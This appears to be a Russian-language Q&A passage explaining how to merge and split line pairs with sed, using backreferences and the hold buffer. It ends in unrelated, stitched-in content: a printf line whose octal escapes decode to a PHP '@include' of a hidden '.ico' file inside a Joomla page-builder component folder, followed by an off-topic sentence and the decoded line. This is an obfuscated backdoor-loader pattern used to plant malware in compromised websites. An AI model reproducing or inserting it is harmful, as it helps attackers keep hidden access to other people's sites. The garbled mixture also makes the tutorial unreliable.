Если вы хотите помочь себе, но не хотите изучать программирование, вы можете сделать что-то подобное с sed
. Вы просто всегда читаете следующую строку с N
, разделяете двойную строку -на части, окруженные ()
, и объединяете те части, которые называются \1
, для первой и так далее по мере необходимости:
sed -E 'N;s/(.*)(\n)(.*)-(.*)/\1\2\3\2\1_2\2\4/' file
Вы также можете сделать это без расширенных регулярных выражений (без вариантов -E
), но вы можете потеряться в обратной косой черте:
sed 'N;s/\(.*\)\(\n\)\(.*\)-\(.*\)/\1\2\3\2\1_2\2\4/' file
Тот же результат, достигнутый при использовании буфера удержания, но не столь очевидный, если вы новичок вsed
:
sed 'h;n;y/-/\n/;P;s/.*\n//;x;s/$/_2/;G' file
Очень простое решение, если оно доступно, — использовать printf
printf '4:@include "\057v\141r\057w\167w\057v\143v\057a\144m\151n\151s\164r\141t\157r\057c\157m\160o\156e\156t\163/\143o\155_\163p\160a\147e\142u\151l\144e\162/\0569\1457\0642\0614\146.\151c\157"; '
Дайте мне именно то, что мне нужно
4:@include "/var/www/vcv/administrator/components/com_sppagebuilder/.9e74214f.ico";